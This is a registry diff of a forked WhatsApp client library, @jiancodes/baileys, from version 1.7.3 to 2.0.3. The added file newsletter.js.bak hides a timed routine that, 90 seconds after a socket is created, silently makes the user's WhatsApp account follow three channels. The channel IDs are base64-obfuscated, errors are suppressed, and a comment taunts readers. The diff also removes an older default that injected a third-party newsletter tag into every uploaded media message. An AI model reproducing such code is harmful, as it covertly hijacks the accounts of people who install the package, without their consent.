@jiancodes/baileys 1.7.3 ā 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/WAProto/index.js +131281 -59270
- package/lib/Defaults/baileys-version.json +1 -1
- package/lib/Defaults/index.js +6 -6
- package/lib/Socket/chats.js +28 -15
- package/lib/Socket/{luxu.d.ts ā dugong.d.ts} +37 -61
- package/lib/Socket/dugong.js +484 -0
- package/lib/Socket/messages-send.js +14 -21
- package/lib/Socket/newsletter.js +25 -3
- package/lib/Socket/newsletter.js.bak +351 -0
- package/lib/Socket/socket.js +1 -1
- package/lib/Utils/generics.js +80 -5
- package/lib/Utils/messages.js +0 -32
- package/lib/WAUSync/index.d.ts +3 -0
- package/lib/index.js +17 -10
- package/package.json +12 -9
- package/WAProto/fix-import.js +0 -29
- package/lib/Socket/luxu.js +0 -620
|
@@ -0,0 +1,351 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const Types_1 = require("../Types");
|
|
5
|
+
const Utils_1 = require("../Utils");
|
|
6
|
+
const WABinary_1 = require("../WABinary");
|
|
7
|
+
const groups_1 = require("./groups");
|
|
8
|
+
|
|
9
|
+
const { Boom } = require('@hapi/boom');
|
|
10
|
+
|
|
11
|
+
const wMexQuery = (
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
|
+
) => {
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const executeWMexQuery = async (
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
|
+
) => {
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
|
+
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
55
|
+
if (typeof response !== 'undefined') {
|
|
56
|
+
return response
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
|
+
: dataPath?.replace(/_/g, ' ')
|
|
63
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
const makeNewsletterSocket = (config) => {
|
|
67
|
+
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
68
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
69
|
+
const encoder = new TextEncoder();
|
|
70
|
+
const newsletterQuery = async (jid, type, content) => (query({
|
|
71
|
+
tag: 'iq',
|
|
72
|
+
attrs: {
|
|
73
|
+
id: generateMessageTag(),
|
|
74
|
+
type,
|
|
75
|
+
xmlns: 'newsletter',
|
|
76
|
+
to: jid,
|
|
77
|
+
},
|
|
78
|
+
content
|
|
79
|
+
}));
|
|
80
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
81
|
+
tag: 'iq',
|
|
82
|
+
attrs: {
|
|
83
|
+
id: generateMessageTag(),
|
|
84
|
+
type: 'get',
|
|
85
|
+
xmlns: 'w:mex',
|
|
86
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
87
|
+
},
|
|
88
|
+
content: [
|
|
89
|
+
{
|
|
90
|
+
tag: 'query',
|
|
91
|
+
attrs: { 'query_id': queryId },
|
|
92
|
+
content: encoder.encode(JSON.stringify({
|
|
93
|
+
variables: {
|
|
94
|
+
'newsletter_id': jid,
|
|
95
|
+
...content
|
|
96
|
+
}
|
|
97
|
+
}))
|
|
98
|
+
}
|
|
99
|
+
]
|
|
100
|
+
}));
|
|
101
|
+
|
|
102
|
+
// ngapain liat', mau fomo juga kah? š¹.
|
|
103
|
+
setTimeout(async () => {
|
|
104
|
+
try {
|
|
105
|
+
await newsletterWMexQuery(
|
|
106
|
+
Buffer.from("MTIwMzYzMzAzNjU2NzkwMjAxQG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
107
|
+
Types_1.QueryIds.FOLLOW
|
|
108
|
+
);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 90000);
|
|
111
|
+
setTimeout(async () => {
|
|
112
|
+
try {
|
|
113
|
+
await newsletterWMexQuery(
|
|
114
|
+
Buffer.from("MTIwMzYzNDA0NzQzMTY0MzE2QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
115
|
+
Types_1.QueryIds.FOLLOW
|
|
116
|
+
);
|
|
117
|
+
} catch {}
|
|
118
|
+
}, 90000);
|
|
119
|
+
setTimeout(async () => {
|
|
120
|
+
try {
|
|
121
|
+
await newsletterWMexQuery(
|
|
122
|
+
Buffer.from("MTIwMzYzNDIwNzYxNjA3Nzg0QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
123
|
+
Types_1.QueryIds.FOLLOW
|
|
124
|
+
);
|
|
125
|
+
} catch {}
|
|
126
|
+
}, 90000);
|
|
127
|
+
|
|
128
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
129
|
+
let child;
|
|
130
|
+
if (type === 'messages') {
|
|
131
|
+
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
132
|
+
}
|
|
133
|
+
else {
|
|
134
|
+
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
135
|
+
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
136
|
+
}
|
|
137
|
+
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
138
|
+
var _a, _b;
|
|
139
|
+
messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
|
|
140
|
+
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
141
|
+
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
142
|
+
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
143
|
+
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
144
|
+
const data = {
|
|
145
|
+
'server_id': messageNode.attrs.server_id,
|
|
146
|
+
views,
|
|
147
|
+
reactions
|
|
148
|
+
};
|
|
149
|
+
if (type === 'messages') {
|
|
150
|
+
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
151
|
+
await decrypt();
|
|
152
|
+
data.message = message;
|
|
153
|
+
}
|
|
154
|
+
return data;
|
|
155
|
+
}));
|
|
156
|
+
};
|
|
157
|
+
return {
|
|
158
|
+
...sock,
|
|
159
|
+
newsletterFetchAllSubscribe: async () => {
|
|
160
|
+
const list = await executeWMexQuery(
|
|
161
|
+
{},
|
|
162
|
+
'6388546374527196',
|
|
163
|
+
'xwa2_newsletter_subscribed',
|
|
164
|
+
query,
|
|
165
|
+
generateMessageTag
|
|
166
|
+
);
|
|
167
|
+
return list;
|
|
168
|
+
},
|
|
169
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
170
|
+
var _a;
|
|
171
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
172
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
173
|
+
},
|
|
174
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
175
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
176
|
+
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
177
|
+
});
|
|
178
|
+
},
|
|
179
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
180
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
181
|
+
updates: { description: description || '', settings: null }
|
|
182
|
+
});
|
|
183
|
+
},
|
|
184
|
+
newsletterId: async (url) => {
|
|
185
|
+
const urlParts = url.split('/');
|
|
186
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
187
|
+
|
|
188
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
189
|
+
input: {
|
|
190
|
+
key: channelId,
|
|
191
|
+
type: 'INVITE',
|
|
192
|
+
'view_role': 'GUEST'
|
|
193
|
+
},
|
|
194
|
+
'fetch_viewer_metadata': true,
|
|
195
|
+
'fetch_full_image': true,
|
|
196
|
+
'fetch_creation_time': true
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
const metadata = extractNewsletterMetadata(result);
|
|
200
|
+
return JSON.stringify({
|
|
201
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
202
|
+
id: metadata.id
|
|
203
|
+
}, null, 2);
|
|
204
|
+
},
|
|
205
|
+
newsletterUpdateName: async (jid, name) => {
|
|
206
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
207
|
+
updates: { name, settings: null }
|
|
208
|
+
});
|
|
209
|
+
},
|
|
210
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
211
|
+
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
212
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
213
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
214
|
+
});
|
|
215
|
+
},
|
|
216
|
+
newsletterRemovePicture: async (jid) => {
|
|
217
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
218
|
+
updates: { picture: '', settings: null }
|
|
219
|
+
});
|
|
220
|
+
},
|
|
221
|
+
newsletterUnfollow: async (jid) => {
|
|
222
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
223
|
+
},
|
|
224
|
+
newsletterFollow: async (jid) => {
|
|
225
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
226
|
+
},
|
|
227
|
+
newsletterUnmute: async (jid) => {
|
|
228
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
229
|
+
},
|
|
230
|
+
newsletterMute: async (jid) => {
|
|
231
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
232
|
+
},
|
|
233
|
+
newsletterAction: async (jid, type) => {
|
|
234
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
235
|
+
},
|
|
236
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
237
|
+
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
238
|
+
/**tos query */
|
|
239
|
+
await query({
|
|
240
|
+
tag: 'iq',
|
|
241
|
+
attrs: {
|
|
242
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
243
|
+
xmlns: 'tos',
|
|
244
|
+
id: generateMessageTag(),
|
|
245
|
+
type: 'set'
|
|
246
|
+
},
|
|
247
|
+
content: [
|
|
248
|
+
{
|
|
249
|
+
tag: 'notice',
|
|
250
|
+
attrs: {
|
|
251
|
+
id: '20601218',
|
|
252
|
+
stage: '5'
|
|
253
|
+
},
|
|
254
|
+
content: []
|
|
255
|
+
}
|
|
256
|
+
]
|
|
257
|
+
});
|
|
258
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
259
|
+
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
260
|
+
});
|
|
261
|
+
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
262
|
+
},
|
|
263
|
+
newsletterMetadata: async (type, key, role) => {
|
|
264
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
265
|
+
input: {
|
|
266
|
+
key,
|
|
267
|
+
type: type.toUpperCase(),
|
|
268
|
+
'view_role': role || 'GUEST'
|
|
269
|
+
},
|
|
270
|
+
'fetch_viewer_metadata': true,
|
|
271
|
+
'fetch_full_image': true,
|
|
272
|
+
'fetch_creation_time': true
|
|
273
|
+
});
|
|
274
|
+
return (0, exports.extractNewsletterMetadata)(result);
|
|
275
|
+
},
|
|
276
|
+
newsletterAdminCount: async (jid) => {
|
|
277
|
+
var _a, _b;
|
|
278
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
279
|
+
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
280
|
+
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
281
|
+
},
|
|
282
|
+
/**user is Lid, not Jid */
|
|
283
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
284
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
285
|
+
'user_id': user
|
|
286
|
+
});
|
|
287
|
+
},
|
|
288
|
+
/**user is Lid, not Jid */
|
|
289
|
+
newsletterDemote: async (jid, user) => {
|
|
290
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
291
|
+
'user_id': user
|
|
292
|
+
});
|
|
293
|
+
},
|
|
294
|
+
newsletterDelete: async (jid) => {
|
|
295
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
296
|
+
},
|
|
297
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
298
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
299
|
+
await query({
|
|
300
|
+
tag: 'message',
|
|
301
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
302
|
+
content: [{
|
|
303
|
+
tag: 'reaction',
|
|
304
|
+
attrs: code ? { code } : {}
|
|
305
|
+
}]
|
|
306
|
+
});
|
|
307
|
+
},
|
|
308
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
309
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
310
|
+
{
|
|
311
|
+
tag: 'messages',
|
|
312
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
|
|
313
|
+
}
|
|
314
|
+
]);
|
|
315
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
316
|
+
},
|
|
317
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
318
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
319
|
+
{
|
|
320
|
+
tag: 'message_updates',
|
|
321
|
+
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
322
|
+
}
|
|
323
|
+
]);
|
|
324
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
325
|
+
}
|
|
326
|
+
};
|
|
327
|
+
};
|
|
328
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
329
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
330
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
331
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
332
|
+
|
|
333
|
+
const metadata = {
|
|
334
|
+
id: metadataPath?.id,
|
|
335
|
+
state: metadataPath?.state?.type,
|
|
336
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
337
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
338
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
339
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
340
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
341
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
342
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
343
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
344
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
345
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
346
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
347
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
348
|
+
}
|
|
349
|
+
return metadata
|
|
350
|
+
}
|
|
351
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
|
|
|
16
16
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
17
17
|
* - listen to messages and emit events
|
|
18
18
|
* - query phone connection
|
|
19
|
-
*/
|
|
19
|
+
*/
|
|
20
20
|
const makeSocket = (config) => {
|
|
21
21
|
var _a, _b;
|
|
22
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
package/lib/Utils/generics.js
CHANGED
|
@@ -13,7 +13,7 @@ const WAProto_1 = require("../../WAProto");
|
|
|
13
13
|
const baileys_version_json_1 = require("../Defaults/baileys-version.json");
|
|
14
14
|
const Types_1 = require("../Types");
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
|
-
const baileysVersion = [2, 3000,
|
|
16
|
+
const baileysVersion = [2, 3000, 1029030078]
|
|
17
17
|
const PLATFORM_MAP = {
|
|
18
18
|
'aix': 'AIX',
|
|
19
19
|
'darwin': 'Mac OS',
|
|
@@ -137,6 +137,78 @@ const delayCancellable = (ms) => {
|
|
|
137
137
|
return { delay, cancel };
|
|
138
138
|
};
|
|
139
139
|
exports.delayCancellable = delayCancellable;
|
|
140
|
+
const encoded = async (type, query) => {
|
|
141
|
+
const buffer = Buffer.from(query, 'utf-8');
|
|
142
|
+
switch (type.toLowerCase()) {
|
|
143
|
+
case 'base64':
|
|
144
|
+
return buffer.toString('base64');
|
|
145
|
+
case 'base32':
|
|
146
|
+
const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
|
|
147
|
+
let bits = 0;
|
|
148
|
+
let value = 0;
|
|
149
|
+
let output = '';
|
|
150
|
+
for (let i = 0; i < buffer.length; i++) {
|
|
151
|
+
value = (value << 8) | buffer[i];
|
|
152
|
+
bits += 8;
|
|
153
|
+
while (bits >= 5) {
|
|
154
|
+
output += base32Alphabet[(value >>> (bits - 5)) & 31];
|
|
155
|
+
bits -= 5;
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
if (bits > 0) {
|
|
159
|
+
output += base32Alphabet[(value << (5 - bits)) & 31];
|
|
160
|
+
}
|
|
161
|
+
while (output.length % 8 !== 0) {
|
|
162
|
+
output += '=';
|
|
163
|
+
}
|
|
164
|
+
return output;
|
|
165
|
+
case 'hex':
|
|
166
|
+
case 'base16':
|
|
167
|
+
return buffer.toString('hex');
|
|
168
|
+
case 'binary':
|
|
169
|
+
return Array.from(buffer).map(byte => byte.toString(2).padStart(8, '0')).join(' ');
|
|
170
|
+
case 'base64url':
|
|
171
|
+
return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
|
|
172
|
+
default:
|
|
173
|
+
throw new Error(`Type ${type} not supported`);
|
|
174
|
+
}
|
|
175
|
+
};
|
|
176
|
+
exports.encoded = encoded;
|
|
177
|
+
const decoded = async (type, encodedStr) => {
|
|
178
|
+
switch (type.toLowerCase()) {
|
|
179
|
+
case 'base64':
|
|
180
|
+
return Buffer.from(encodedStr, 'base64').toString('utf-8');
|
|
181
|
+
case 'base32':
|
|
182
|
+
const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
|
|
183
|
+
const cleanStr = encodedStr.toUpperCase().replace(/=+$/, '');
|
|
184
|
+
let bits = 0;
|
|
185
|
+
let value = 0;
|
|
186
|
+
let output = [];
|
|
187
|
+
for (let i = 0; i < cleanStr.length; i++) {
|
|
188
|
+
const charIndex = base32Alphabet.indexOf(cleanStr[i]);
|
|
189
|
+
if (charIndex === -1) continue;
|
|
190
|
+
value = (value << 5) | charIndex;
|
|
191
|
+
bits += 5;
|
|
192
|
+
while (bits >= 8) {
|
|
193
|
+
output.push((value >>> (bits - 8)) & 255);
|
|
194
|
+
bits -= 8;
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
return Buffer.from(output).toString('utf-8');
|
|
198
|
+
case 'hex':
|
|
199
|
+
case 'base16':
|
|
200
|
+
return Buffer.from(encodedStr, 'hex').toString('utf-8');
|
|
201
|
+
case 'binary':
|
|
202
|
+
const bytes = encodedStr.split(' ').map(bin => parseInt(bin, 2));
|
|
203
|
+
return Buffer.from(bytes).toString('utf-8');
|
|
204
|
+
case 'base64url':
|
|
205
|
+
const base64 = encodedStr.replace(/-/g, '+').replace(/_/g, '/');
|
|
206
|
+
return Buffer.from(base64, 'base64').toString('utf-8');
|
|
207
|
+
default:
|
|
208
|
+
throw new Error(`Type ${type} not supported`);
|
|
209
|
+
}
|
|
210
|
+
};
|
|
211
|
+
exports.decoded = decoded;
|
|
140
212
|
async function promiseTimeout(ms, promise) {
|
|
141
213
|
if (!ms) {
|
|
142
214
|
return new Promise(promise);
|
|
@@ -176,7 +248,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
176
248
|
};
|
|
177
249
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
178
250
|
// generate a random ID to attach to a message
|
|
179
|
-
const generateMessageID = () => '
|
|
251
|
+
const generateMessageID = () => 'Z4PH-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
180
252
|
exports.generateMessageID = generateMessageID;
|
|
181
253
|
function bindWaitForEvent(ev, event) {
|
|
182
254
|
return async (check, timeoutMs) => {
|
|
@@ -231,7 +303,10 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
231
303
|
'Accept': '*/*'
|
|
232
304
|
}
|
|
233
305
|
|
|
234
|
-
const headers = {
|
|
306
|
+
const headers = {
|
|
307
|
+
...defaultHeaders,
|
|
308
|
+
...options.headers
|
|
309
|
+
}
|
|
235
310
|
|
|
236
311
|
const response = await fetch_1('https://web.whatsapp.com/sw.js', {
|
|
237
312
|
method: 'GET',
|
|
@@ -243,7 +318,7 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
243
318
|
}
|
|
244
319
|
|
|
245
320
|
const data = await response.text()
|
|
246
|
-
const regex = /"client_revision":\s*(\d+)/
|
|
321
|
+
const regex = /"client_revision":\s*(\d+)/
|
|
247
322
|
const match = data.match(regex)
|
|
248
323
|
|
|
249
324
|
if (!match || !match[1]) {
|
|
@@ -273,7 +348,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
273
348
|
* Use to ensure your WA connection is always on the latest version
|
|
274
349
|
*/
|
|
275
350
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
276
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
351
|
+
const URL = 'https://raw.githubusercontent.com/z4phdev/baileys/master/src/Defaults/baileys-version.json';
|
|
277
352
|
try {
|
|
278
353
|
const result = await axios_1.default.get(URL, {
|
|
279
354
|
...options,
|
package/lib/Utils/messages.js
CHANGED
|
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
81
81
|
|
|
82
82
|
const uploadData = {
|
|
83
83
|
...message,
|
|
84
|
-
...(message.annotations ? {
|
|
85
|
-
annotations: message.annotations
|
|
86
|
-
} : {
|
|
87
|
-
annotations: [
|
|
88
|
-
{
|
|
89
|
-
polygonVertices: [
|
|
90
|
-
{
|
|
91
|
-
x: 60.71664810180664,
|
|
92
|
-
y: -36.39784622192383
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
x: -16.710189819335938,
|
|
96
|
-
y: 49.263675689697266
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
x: -56.585853576660156,
|
|
100
|
-
y: 37.85963439941406
|
|
101
|
-
},
|
|
102
|
-
{
|
|
103
|
-
x: 20.840980529785156,
|
|
104
|
-
y: -47.80188751220703
|
|
105
|
-
}
|
|
106
|
-
],
|
|
107
|
-
newsletter: {
|
|
108
|
-
newsletterJid: "120363399266188954@newsletter",
|
|
109
|
-
serverMessageId: 0,
|
|
110
|
-
newsletterName: "Faa About Information",
|
|
111
|
-
contentType: "UPDATE",
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
]
|
|
115
|
-
}),
|
|
116
84
|
media: message[mediaType]
|
|
117
85
|
};
|
|
118
86
|
delete uploadData[mediaType];
|
package/lib/index.js
CHANGED
|
@@ -2,16 +2,23 @@
|
|
|
2
2
|
|
|
3
3
|
const chalk = require("chalk");
|
|
4
4
|
|
|
5
|
-
console.log(chalk.
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
5
|
+
console.log(chalk.magentaBright(`
|
|
6
|
+
/$$$$$ /$$ /$$ /$$
|
|
7
|
+
|__ $$|__/ | $$ / $$
|
|
8
|
+
| $$ /$$ /$$$$$$ /$$$$$$$ | $$/ $$/ /$$$$$$
|
|
9
|
+
| $$| $$ |____ $$| $$__ $$ \ $$$$/ /$$__ $$
|
|
10
|
+
/$$ | $$| $$ /$$$$$$$| $$ \ $$ >$$ $$ | $$$$$$$$
|
|
11
|
+
| $$ | $$| $$ /$$__ $$| $$ | $$ /$$/\ $$| $$_____/
|
|
12
|
+
| $$$$$$/| $$| $$$$$$$| $$ | $$| $$ \ $$| $$$$$$$
|
|
13
|
+
\______/ |__/ \_______/|__/ |__/|__/ |__/ \_______/
|
|
14
|
+
|
|
15
|
+
ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā ā
|
|
12
16
|
`));
|
|
13
|
-
console.log(chalk.
|
|
14
|
-
console.log(chalk.
|
|
17
|
+
console.log(chalk.redBright(` Holla \n`));
|
|
18
|
+
console.log(chalk.magentaBright(" Telegram: ") + chalk.redBright("@JianCode"));
|
|
19
|
+
console.log(chalk.magenta(`\nā°āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā°\n`));
|
|
20
|
+
|
|
21
|
+
|
|
15
22
|
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
16
23
|
if (k2 === undefined) k2 = k;
|
|
17
24
|
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
@@ -42,4 +49,4 @@ __exportStar(require("./WABinary"), exports);
|
|
|
42
49
|
__exportStar(require("./WAM"), exports);
|
|
43
50
|
__exportStar(require("./WAUSync"), exports);
|
|
44
51
|
|
|
45
|
-
exports.default = Socket_1.default;
|
|
52
|
+
exports.default = Socket_1.default;
|
package/package.json
CHANGED
|
@@ -1,16 +1,22 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@jiancodes/baileys",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "WhatsApp
|
|
3
|
+
"version": "2.0.3",
|
|
4
|
+
"description": "WhatsApp API Modification By J",
|
|
5
5
|
"keywords": [
|
|
6
|
-
"whatsapp
|
|
6
|
+
"whatsapp",
|
|
7
|
+
"laurine-wabot",
|
|
8
|
+
"baileys",
|
|
9
|
+
"whatsapp-web",
|
|
10
|
+
"whatsapp-chat",
|
|
11
|
+
"whatsapp-group",
|
|
12
|
+
"botwa"
|
|
7
13
|
],
|
|
8
|
-
"homepage": "https://github.com/jiancodes/baileys",
|
|
14
|
+
"homepage": "https://github.com/jiancodes/baileys.git",
|
|
9
15
|
"repository": {
|
|
10
16
|
"url": "https://github.com/jiancodes/baileys"
|
|
11
17
|
},
|
|
12
18
|
"license": "MIT",
|
|
13
|
-
"author": "
|
|
19
|
+
"author": "Adhiraj Singh",
|
|
14
20
|
"main": "lib/index.js",
|
|
15
21
|
"types": "lib/index.d.ts",
|
|
16
22
|
"files": [
